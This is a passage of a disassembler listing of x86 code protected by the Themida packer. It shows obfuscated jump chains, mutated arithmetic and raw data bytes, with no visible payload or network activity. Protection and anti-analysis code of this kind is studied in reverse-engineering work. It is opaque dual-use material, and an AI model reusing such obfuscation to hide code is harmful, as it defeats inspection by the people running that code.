		dd 14CCC181h, 0E981471Eh, 22D110CBh, 3159CF89h,	0F8315DEFh
		dd 52243C8Bh, 0C2815A54h, 4, 65B668h, 24048900h, 4B8h
		dd 0E9C20100h, 0FFFF9389h, 0F702EDC1h, 0D67AE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585DA:				; CODE XREF: Themida_:00558047j
		push	edi
		mov	edi, 1E361477h
		add	edi, 32092884h
		jmp	loc_55A7C4
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 29665C24h, 0E99C2404h, 0FFFF72ECh, 0E0A2E959h
		dd 0BA52FFFFh, 4BF04F4Bh, 4245431h, 9BB3E95Ah, 0BD55FFFFh
		dd 4, 0FFBEC7E9h, 72C6E9FFh, 0FE29FFFFh, 0FFB1F6E9h, 241C87FFh
		dd 7538E95Ch, 815DFFFFh, 4E9h, 240C8700h, 0FF8152E9h, 242C8BFFh
		dd 4C481h, 0D8890000h, 0A9BE565Bh, 81584E1Eh, 0CE24C8F6h
		dd 0B7F68173h, 918F828h, 0E0C15EF0h, 0F97CE905h, 0D8B3FFFFh
		dd 2C42E9h, 7BD5500h, 814C7E20h, 9A4F2FC5h, 12C58119h
		dd 29E96095h, 1EAAE9EFh, 14890000h, 4BA24h, 0D7010000h
		dd 172DE95Ah, 74FF0000h, 0D5E90424h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5586A3:				; CODE XREF: Themida_:00558FC4j
		neg	dl
		neg	dl
		add	dl, 50h
		add	dl, 0BAh
		add	dl, 0F7h
		xor	bl, dl
		jmp	loc_55A69C
; ---------------------------------------------------------------------------
		db 28h
		dd 1419E9E3h, 335A0000h, 5BE9242Ch, 31000000h, 31E831C5h
		dd 31EF31C5h, 68EF31FDh, 0D26h,	0FFCD34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5586DD:				; CODE XREF: Themida_:0055535Cj
		pop	edi
		jmp	loc_5532DB
; ---------------------------------------------------------------------------
		db 89h
		dd 0A7A5E9E7h, 5C31FFFFh, 0B0E90424h, 31FFFF8Bh, 3EE9240Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5586FB:				; CODE XREF: Themida_:0055B9A5j
		sub	eax, 6F9152EEh
		add	eax, ecx
		jmp	loc_55735A
; ---------------------------------------------------------------------------
		db 0BFh
		dd 74F241F7h, 59EAEB81h, 0FB0164F0h, 59EAC381h,	3C8B64F0h
		dd 0F799E924h, 2C31FFFFh, 0FCEAE924h, 48FFFFFh,	0C78CE924h
		dd 6851FFFFh, 2B332927h, 0F7D1F759h, 0D8B850D1h, 2542C922h
		dd 30F248BCh, 0FFDA9AE9h, 243C89FFh, 0FFCAABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558755:				; CODE XREF: Themida_:00558E74j
		add	edx, 4
		jmp	loc_5549A7
; ---------------------------------------------------------------------------


loc_558760:				; CODE XREF: Themida_:0055677Bj
		add	ecx, 3744D392h
		jmp	loc_55AF4B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C78104E7h, 0FE4F8002h, 15FFB89h, 241C8BD9h,	0E9E38953h
		dd 0FFFFF706h, 0B551DBF6h, 65B050D5h, 25E95266h, 81FFFFADh
		dd 0F827B3F5h, 0D2ED8141h, 296A4175h, 7513E9EEh, 8956FFFFh
		dd 0B599E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587AE:				; CODE XREF: Themida_:0055462Aj
		shr	ebp, 4
		sub	ebp, 937015A8h
		and	esi, ebp
		pop	ebp
		add	esi, 2EF519B7h
		not	esi
		not	esi
		and	esi, 18633C02h
		xor	esi, 18211806h
		add	ebp, esi
		pop	esi
		jmp	loc_55BEDB
; ---------------------------------------------------------------------------
		dd 0E92414F6h, 0FFFFE131h, 0BD55E189h, 436A04E9h, 12F6ED81h
		dd 0CD811FADh, 465A52D0h, 0FF836BE9h, 24048BFFh, 505B5453h
		dd 2BF0BB53h, 0DBF728F3h, 0DBF7DBF7h, 2291BD55h, 0CD81164Ch
		dd 50B867AAh, 165EC581h, 0DDE960DAh, 50FFFFF0h,	0FFAF78E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558829:				; CODE XREF: Themida_:0055BE5Ej
		add	eax, edi
		add	[eax], ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_550DF0
; ---------------------------------------------------------------------------
		db 1
		dd 0C6835DEEh, 24348704h, 34A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_558855:				; CODE XREF: Themida_:0055A425j
		push	esi
		mov	esi, 23462EFDh
		add	edi, esi
		pop	esi
		jmp	loc_558CDD
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2434h, 0FFFFD202h, 2AED815Dh, 81480A06h, 0C7D654C5h
		dd 0E9E989E0h, 0FFFF7FE7h, 51C3015Eh, 72E76852h, 148B37C5h
		dd 0BF1DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558892:				; CODE XREF: Themida_:00557708j
		mov	ecx, eax
		sub	esp, 4
		mov	[esp], ecx
		push	ecx
		mov	ecx, 0C9D377Ah
		add	[esp+4], ecx
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_54FAB3
; ---------------------------------------------------------------------------


loc_5588AD:				; CODE XREF: Themida_:00557DFAj
		sub	edx, eax
		jmp	loc_55AD39
; ---------------------------------------------------------------------------


loc_5588B4:				; CODE XREF: Themida_:00556A6Bj
		pop	esp
		mov	[esp], ebp
		push	269E2B3Ah
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_559883
; ---------------------------------------------------------------------------


loc_5588D5:				; CODE XREF: Themida_:00551C28j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_557DA3
; ---------------------------------------------------------------------------
		dd 0C2FE1AB2h, 0DEA80h,	0CD88E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5588EE:				; CODE XREF: Themida_:00554B0Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	1798h
		mov	[esp], ebx
		push	1
		jmp	loc_555B73
; ---------------------------------------------------------------------------
		dd 0F781DFF7h, 0A6B0D4E4h, 242C8157h, 4BF800ABh, 0ABC18159h
		dd 5F4BF800h, 8244C01h,	244C0159h, 9E48E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55893E:				; CODE XREF: Themida_:0055656Bj
		pop	ebx
		push	ebx
		push	ecx
		mov	ecx, 0A673815h
		mov	ebx, 0A67384Dh
		jmp	loc_552FF2
; ---------------------------------------------------------------------------
		dd 0E8F18159h, 811B1757h, 5B3090E1h, 8A8E965h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558962:				; CODE XREF: Themida_:0055AB60j
		xor	eax, edx
		pop	edx
		not	eax
		jmp	loc_558E3E
; ---------------------------------------------------------------------------


loc_55896C:				; CODE XREF: Themida_:00550719j
		pop	dword ptr [esp]
		jmp	loc_5553FA
; ---------------------------------------------------------------------------
		dd 4C4835Ah, 0FF90AFE9h, 24048BFFh, 10F56850h, 24890000h
		dd 24048124h, 4, 0FFEBE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558995:				; CODE XREF: Themida_:00553988j
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_5581E4
; ---------------------------------------------------------------------------


loc_5589A3:				; CODE XREF: Themida_:0055B067j
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_556140
; ---------------------------------------------------------------------------


loc_5589B8:				; CODE XREF: Themida_:0055907Dj
		shr	esi, 5
		neg	esi
		jmp	loc_550DCF
; ---------------------------------------------------------------------------
		dw 6866h
		dd 1AE9282Eh
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5589CB:				; CODE XREF: Themida_:00555548j
		and	eax, edx
		mov	edx, [esp]
		push	0DE9h
		mov	[esp], ebp
		jmp	loc_55971D
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 8904EC83h, 0BAE9243Ch, 58FFFF81h, 1C8BF820h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_55A9C4
; ---------------------------------------------------------------------------
		dd 9770E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A06:				; CODE XREF: Themida_:005549A2j
		mov	edx, 0F00341Eh
		add	edx, 3507728Bh
		or	edx, 47823700h
		add	edx, 0CEB6006h
		jmp	loc_55B760
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BE88904h, 0C483242Ch, 25D0F704h, 0E5F2BBFh,	4004E8C1h
		dd 0FFFFFF05h, 0D0F935FFh, 0C301122Dh, 8324048Bh, 85E904C4h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A4F:				; CODE XREF: Themida_:005599CFj
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55359E
; ---------------------------------------------------------------------------
		dd 2E3BE02Dh, 58C1018Bh, 0FF9F37E9h, 1EB83FFh, 4F56EB81h
		dd 96E920DDh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A7F:				; CODE XREF: Themida_:00550D4Bj
		pop	dword ptr [edi+24h]
		sub	dword ptr [edi+24h], 80B1490h
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5537E5
; ---------------------------------------------------------------------------


loc_558A9A:				; CODE XREF: Themida_:00556D2Ej
		inc	ebx
		sub	ebx, 131226F5h
		mov	esi, ebx
		jmp	loc_5507B9
; ---------------------------------------------------------------------------
		dd 0BF66575Ch, 0C1667F9Eh, 876608E7h, 0D2F766D7h, 66D78766h
		dd 664F6647h, 5066D7F7h, 8CBD6655h, 0CD816656h,	0F0E93BB0h
		dd 0D3FFFFA6h, 0E99C2424h, 0FFFF6E0Ch, 33E949B3h, 0F7FFFFD6h
		dd 81FD87DFh, 0EF40FDEDh, 0E9EA897Ch, 0FFFF7A8Ch, 81240C8Bh
		dd 4C4h, 0F3BB5300h, 0E91E8439h, 0FFFF93FEh, 0FEF5814Dh
		dd 10116E2h, 242C8BEAh,	8104C483h, 4C2h, 74FF5200h, 8F5A0424h
		dd 39E92404h, 1FFFFE5h,	0C7815AD7h, 4, 0E9243C87h, 0FFFFD831h
		dd 0DF1D3D2Dh, 0E9555721h, 0FFFF86C0h, 4C481h, 0D8290000h
		dd 83241C8Bh, 0C2E904C4h, 80FFFF7Fh, 0C80003F1h, 53240C8Bh
		dd 0FF8AFAE9h, 58C721FFh, 7211F781h, 5FE9495Ch,	1FFFFEEh
		dd 0F9315BDFh, 0D50BE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B82:				; CODE XREF: Themida_:005520CCj
		neg	esi
		and	esi, 67FE57CCh
		not	esi
		jmp	loc_55BD16
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FFD201E9h, 0B1E959FFh, 55000018h, 0FFE8B4E9h, 3BA968FFh
		dd 34890000h, 4BE24h, 0F1010000h, 0FFB2C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558BB9:				; CODE XREF: Themida_:00552D40j
		pop	ebx
		push	1864h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55267E
; ---------------------------------------------------------------------------


loc_558BCB:				; CODE XREF: Themida_:0054FB5Aj
		pop	edx
		sub	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5536EE
; ---------------------------------------------------------------------------


loc_558BDD:				; CODE XREF: Themida_:00550808j
		pop	esp
		push	eax
		jmp	loc_553123
; ---------------------------------------------------------------------------
		dd 4C381h, 0EB830000h, 241C8704h, 8924248Bh, 0D7BD242Ch
		dd 815F6435h, 9BCA2DC5h, 0ECC281A0h, 1159248h, 0ECEA81EAh
		dd 5D159248h, 79A0B850h, 92E91B68h, 1FFFFD5h, 0C7295FF8h
		dd 8124048Bh, 4C4h, 0B9514F00h,	6E4235FFh, 345BC981h, 0F18140F7h
		dd 5B2A69A0h, 0FFF184E9h, 25F681FFh, 0E9F12ACAh, 0FFFF7E59h
		dd 88E9C380h, 17E95BDDh, 0B8FFFF8Eh, 2,	6604C681h, 0C62940B6h
		dd 0FFA00CE9h, 20F9B8FFh, 6C0D61E7h, 0E915C25Fh, 0FFFFD3E1h
		dd 512BC181h, 0BE5635C9h, 42823A90h, 175EE81h, 0F131C2D5h
		dd 59CA895Eh, 0F75AD531h, 95DDF7D5h, 8195D8F7h,	87F0C1EDh
		dd 10C681F8h, 157E008h,	10B951EEh, 0E957E008h, 0FFFF8667h
; ---------------------------------------------------------------------------


loc_558CB4:				; CODE XREF: Themida_:005502FAj
		pop	edi
		add	edx, 35A73340h
		add	edx, edi
		sub	edx, 35A73340h
		pop	edi
		add	esi, 58A35470h
		jmp	loc_55B9DD
; ---------------------------------------------------------------------------


loc_558CCF:				; CODE XREF: Themida_:00551115j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B5FD
; ---------------------------------------------------------------------------


loc_558CDD:				; CODE XREF: Themida_:0055885Ej
		pop	ecx
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5553C6
; ---------------------------------------------------------------------------
		db 29h,	0CFh, 81h
		dd 8B20E7EFh, 9C95E971h, 489FFFFh, 7846824h, 34FF7B8Bh
		dd 0E1E95824h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D0F:				; CODE XREF: Themida_:0055372Fj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 1
		mov	[edi+20h], eax
		jmp	loc_550E93
; ---------------------------------------------------------------------------


loc_558D2E:				; CODE XREF: Themida_:00550482j
		push	ebx
		jmp	loc_54FA01
; ---------------------------------------------------------------------------
		dd 0C025BD55h, 0E9011DA9h, 0BB39E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D42:				; CODE XREF: Themida_:0055061Cj
		mov	edx, 10h
		jmp	loc_5514C8
; ---------------------------------------------------------------------------


loc_558D4C:				; CODE XREF: Themida_:00553097j
		push	eax
		mov	eax, 42537EB3h
		push	ecx
		jmp	loc_54F97C
; ---------------------------------------------------------------------------
		dd 75A0BE56h, 0F0290E8Bh, 0FF8EE7E9h, 81E789FFh, 4C7h
		dd 4EF8100h, 0E9000000h, 0E6Bh
; ---------------------------------------------------------------------------


loc_558D78:				; CODE XREF: Themida_:0055A7C7j
		add	ebp, 8EC1C200h
		mov	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jnz	loc_5514BB
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		push	4
		pop	ebx
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_55071E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 728D59D3h, 55FF889h,	0CE541DB4h, 8B58C501h, 8950243Ch
		dd 0E4E952E0h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558DFF:				; CODE XREF: Themida_:005590E7j
		add	ecx, esi
		jmp	loc_553A2D
; ---------------------------------------------------------------------------
		dw 515Ch
		dd 0E904EC83h, 0FFFFFEEEh
; ---------------------------------------------------------------------------


loc_558E10:				; CODE XREF: Themida_:0054FA1Ej
		sub	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_559F8C
; ---------------------------------------------------------------------------
		db 88h,	11h, 59h
		dd 0E924148Bh, 1768h, 17BEC381h, 0EBC14D33h, 26C38103h
		dd 2132327Bh, 0E825E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E3E:				; CODE XREF: Themida_:00558967j
		dec	eax
		xor	eax, 7FF16D7Ah
		jmp	loc_55A409
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 0A594E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E56:				; CODE XREF: Themida_:00554142j
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	eax, [ebx]
		pop	ebx
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_558755
; ---------------------------------------------------------------------------
		db 89h,	0FBh, 5Fh
		dd 657DE981h, 0F0E92A76h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E87:				; CODE XREF: Themida_:0055B2FFj
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_550C8A
; ---------------------------------------------------------------------------
		dd 0F4E9CD21h, 66FFFFE5h, 6824048Bh, 47E6h, 89240C89h
		dd 4EC83E1h, 55240489h,	64126CBDh, 81E5D15Ch, 7A26A5C5h
		dd 0D4E94D39h, 53000018h, 0B9E95057h, 5EFFFF99h, 8124048Bh
		dd 4C4h, 0F074E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558EEE:				; CODE XREF: Themida_:00555E09j
		sub	edx, edi
		push	esi
		push	ebx
		mov	ebx, 615C2363h
		neg	ebx
		or	ebx, 6B473A41h
		jmp	loc_554226
; ---------------------------------------------------------------------------
		dd 582434FFh, 0FF8F3EE9h, 58C131FFh, 5659CB89h,	0B27A4FBEh
		dd 682Fh, 34290000h, 0BE95E24h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558F27:				; CODE XREF: Themida_:0055BBEBj
		mov	ecx, [esp]
		jmp	loc_551AAD
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D2E906E6h, 66FFFFB1h, 4EC8153h, 89000000h, 0E9512414h
		dd 0FFFFC7A0h, 32241430h, 14302414h, 6992E924h,	0D829FFFFh
		dd 0E09D2D5Bh, 0C2219F9Fh, 41C28158h, 0E93D0B53h, 0FFFFC47Bh
		dd 0FF6977E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558F71:				; CODE XREF: Themida_:0055A737j
		push	esi
		mov	esi, 3DE445D7h
		jmp	loc_55553C
; ---------------------------------------------------------------------------
		dd 0FED7CC80h, 0EDE480CCh, 0FF925AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558F89:				; CODE XREF: Themida_:0055924Dj
		push	edi
		mov	edi, esp
		jmp	loc_55A649
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 5
		dd 2970732Bh, 0D8295FF8h, 732B0505h, 0FDB2E970h, 0A6BFFFFFh
		dd 13AB937h, 0DD2D5FF8h, 0E91B6A15h, 0FFFFDAB8h
; ---------------------------------------------------------------------------


loc_558FB8:				; CODE XREF: Themida_:005519E5j
		push	ebx
		jmp	loc_5569FC
; ---------------------------------------------------------------------------


loc_558FBE:				; CODE XREF: Themida_:00555A48j
		push	edx
		mov	dl, 15h
		shl	dl, 4
		jmp	loc_5586A3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aS_		db '$. ',0
		align 2
		dw 1489h
		dd 0E99C5024h, 0FFFF690Ch, 4C481h, 0BA520000h, 7DD56F91h
		dd 70C28142h, 29822A90h, 24148BD1h, 0E904C483h,	0FFFFD744h
		dd 0AAE9C201h, 83FFFFDFh, 835704C4h, 0EC8104ECh, 4, 83242489h
		dd 0E9042404h, 0FFFF9898h, 931D85BFh, 247C316Ah, 56585F04h
		dd 3237B951h, 0C9817AC2h, 414B5AABh, 9886C181h,	68519594h
		dd 4D10h, 0BD242C89h, 1E831351h, 4246C01h, 0FFE1D0E9h
		dd 67B753FFh, 0C006F780h, 0F78003E7h, 70E5E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559062:				; CODE XREF: Themida_:00554397j
		pop	esp
		push	edx
		push	eax
		mov	eax, 483937E7h
		neg	eax
		or	eax, 172C68C0h
		push	esi
		mov	esi, 533B75E5h
		and	esi, 7888541Dh
		jmp	loc_5589B8
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 685EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55908A:				; CODE XREF: Themida_:00556753j
		push	16A45811h
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 0A5CF15C8h
		mov	ebx, edx
		pop	edx
		push	ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		push	4022h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, edi
		push	edx
		jmp	loc_55A4A2
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFC1BDh
; ---------------------------------------------------------------------------


loc_5590C4:				; CODE XREF: Themida_:00555167j
		mov	[esp], edx
		mov	edx, 3CF33368h
		push	1415h
		mov	[esp], edi
		push	ecx
		jmp	loc_557F6F
; ---------------------------------------------------------------------------


loc_5590DA:				; CODE XREF: Themida_:0055740Fj
		mov	ebp, 5823F02h
		mov	esi, 5823F04h
		sub	esi, ebp
		pop	ebp
		jmp	loc_558DFF
; ---------------------------------------------------------------------------
		dd 2474FF66h, 3C8B6602h, 2C48324h, 24048F66h, 0FF67E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559101:				; CODE XREF: Themida_:0055B481j
		shl	ecx, 1
		push	eax
		jmp	loc_554ED2
; ---------------------------------------------------------------------------


loc_559109:				; CODE XREF: Themida_:00559C71j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, 4
		jmp	loc_55740D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 54241C89h,	83241C8Bh, 0E95204C4h, 0FFFF9C56h
; ---------------------------------------------------------------------------


loc_559148:				; CODE XREF: Themida_:005595AFj
		and	eax, 74317CBEh
		jmp	loc_559935
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0C0C5E904h, 815BFFFFh, 4C3h,	2C38100h, 68000000h, 2034h
		dd 0FF241C89h, 0FF042474h, 535B2434h, 0C381E389h, 4, 8704C383h
		dd 8F5C241Ch, 248B2404h, 0C83B6624h, 6752E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559196:				; CODE XREF: Themida_:005509BAj
		add	eax, 4
		jmp	loc_55B5C1
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFC3E9h, 66ECF280h, 0DEB353h,	1C8B66DAh
		dd 17ECE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5591BA:				; CODE XREF: Themida_:0055B712j
		pop	ecx
		dec	ecx
		and	ecx, 515E75FFh
		inc	ecx
		add	ecx, 6F05E034h
		mov	edx, ecx
		pop	ecx
		mov	ebp, edx
		pop	edx
		add	ebp, 0FFFFFFFFh
		xor	ebp, 5D255AB1h
		jmp	loc_555831
; ---------------------------------------------------------------------------
		dd 68240489h, 1ED5h, 0E9243C89h, 0FFFFFE2Ch
; ---------------------------------------------------------------------------


loc_5591F0:				; CODE XREF: Themida_:0055103Cj
		dec	ebx
		jmp	loc_55A163
; ---------------------------------------------------------------------------
		dw 1489h
		dd 24148724h, 1487D2F7h, 0EC835A24h, 0D9DE904h,	0D1F70000h
		dd 0CF7BF181h, 0C8019AF5h, 24048759h, 0FFEF13E9h, 52C300FFh
		dd 0FFBB5DE9h, 24148BFFh, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 0C5E9F988h, 5A000020h, 24148B59h, 0FFD7DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559249:				; CODE XREF: Themida_:00551FBBj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_558F89
; ---------------------------------------------------------------------------


loc_559252:				; CODE XREF: Themida_:00557454j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_554FE1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0A96AE955h, 9ABDFFFFh, 81785605h, 0A2571CE5h, 7E5C10Fh
		dd 0DB51F581h, 0EA294C41h, 6AEA815Dh, 137FE3Bh,	1EE956C2h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55928F:				; CODE XREF: Themida_:0054FB1Fj
		pop	esp
		mov	[esp], edx
		mov	edx, 24h
		add	edx, edi
		push	eax
		push	edx
		mov	edx, 41CF33DEh
		inc	edx
		jmp	loc_552E7B
; ---------------------------------------------------------------------------
		db 89h
		dd 0FEE958C1h, 5F000029h, 0E904C483h, 0FFFFC647h
; ---------------------------------------------------------------------------


loc_5592B8:				; CODE XREF: Themida_:00550183j
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_550A05
; ---------------------------------------------------------------------------
		dw 405h
		dd 2D000000h, 4, 0FF7C4DE9h, 0FF5456FFh, 348B2434h, 0CCE95224h
		dd 3300001Ch, 665C2404h, 9C240CD3h, 0FF89DCE9h,	57E089FFh
		dd 0FAAE9h, 54F38100h, 0E9E2F38Ah, 0FFFF95D6h, 535733BAh
		dd 1C2831Ah, 0FFF059E9h, 241C8BFFh, 8004C483h, 0EB00F7C3h
		dd 59F7EB80h, 0FDFEB80h, 5E9C0B6h, 81FFFF7Eh, 1E79B4EDh
		dd 0BD16E95Fh, 48FFFFFh, 2C895C24h, 7974BD24h, 44814707h
		dd 64AC0424h, 0F5E9333Ch, 83FFFFD4h, 41E902C2h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55935F:				; CODE XREF: Themida_:00557DAAj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_54FFC4
; ---------------------------------------------------------------------------


loc_559376:				; CODE XREF: Themida_:005541CEj
		mov	ecx, edi
		pop	edi
		sub	ecx, ebx
		jmp	loc_556D4A
; ---------------------------------------------------------------------------
		dd 8F107905h, 36E8057Eh, 0D4050AE3h, 2100AC1Dh,	0E757E9C6h
		dd 6EBAFFFFh, 81441857h, 187755F2h, 8BD63144h, 0C4812414h
		dd 4, 73E9F201h, 8B000029h, 0C4832414h,	1455E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5593BE:				; CODE XREF: Themida_:00557688j
		add	esp, 4
		add	esp, 4
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5C240487h, 9C242CD2h, 0FF650BE9h, 0CA5105FFh, 0C7013333h
		dd 0E2F8E958h, 0E953FFFFh, 0A69h, 4D4CB850h, 9FE96CEFh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5593FB:				; CODE XREF: Themida_:0055B114j
		sub	edx, 0CB555488h
		sub	edi, edx
		pop	edx
		jmp	loc_554C60
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 89682414h, 89000046h, 0DC68243Ch,	5F166F72h
		dd 0FF71D1E9h, 4C481FFh, 0E9000000h, 0FFFFCF93h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3F8Ah
		mov	[esp], edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55316E
; ---------------------------------------------------------------------------


loc_559465:				; CODE XREF: Themida_:00550683j
		dec	edi
		jmp	loc_55B01E
; ---------------------------------------------------------------------------
		db 49h
		dd 1381C181h, 0EA81191Ch, 65496553h, 66FC281h, 0CA2979BDh
		dd 66FEA81h, 0C28179BDh, 65496553h, 81240C8Bh, 4C4h, 81C20100h
		dd 457784C2h, 55C2813Dh, 0E93D057Ah, 0FFFF6440h, 24048B66h
		dd 8904EC83h, 0E189240Ch, 3BE9h, 48F5F00h, 31EF3124h, 0E9EF31FDh
		dd 0FFFFEDACh, 0F001665Dh, 24348B66h, 2C481h, 73E90000h
		dd 0FE000020h, 0E3C380C3h, 8628B050h, 86D2F6D0h, 0BD01E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5594EE:				; CODE XREF: Themida_:00550900j
		push	ebx
		jmp	loc_5509AB
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9530000h, 0FFFFD053h
; ---------------------------------------------------------------------------


loc_559500:				; CODE XREF: Themida_:0055A272j
		mov	ebp, ebx
		pop	ebx
		sub	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 1AD62BC4h
		sub	ebp, 3CC93FA3h
		jmp	loc_550905
; ---------------------------------------------------------------------------


loc_559517:				; CODE XREF: Themida_:005538DAj
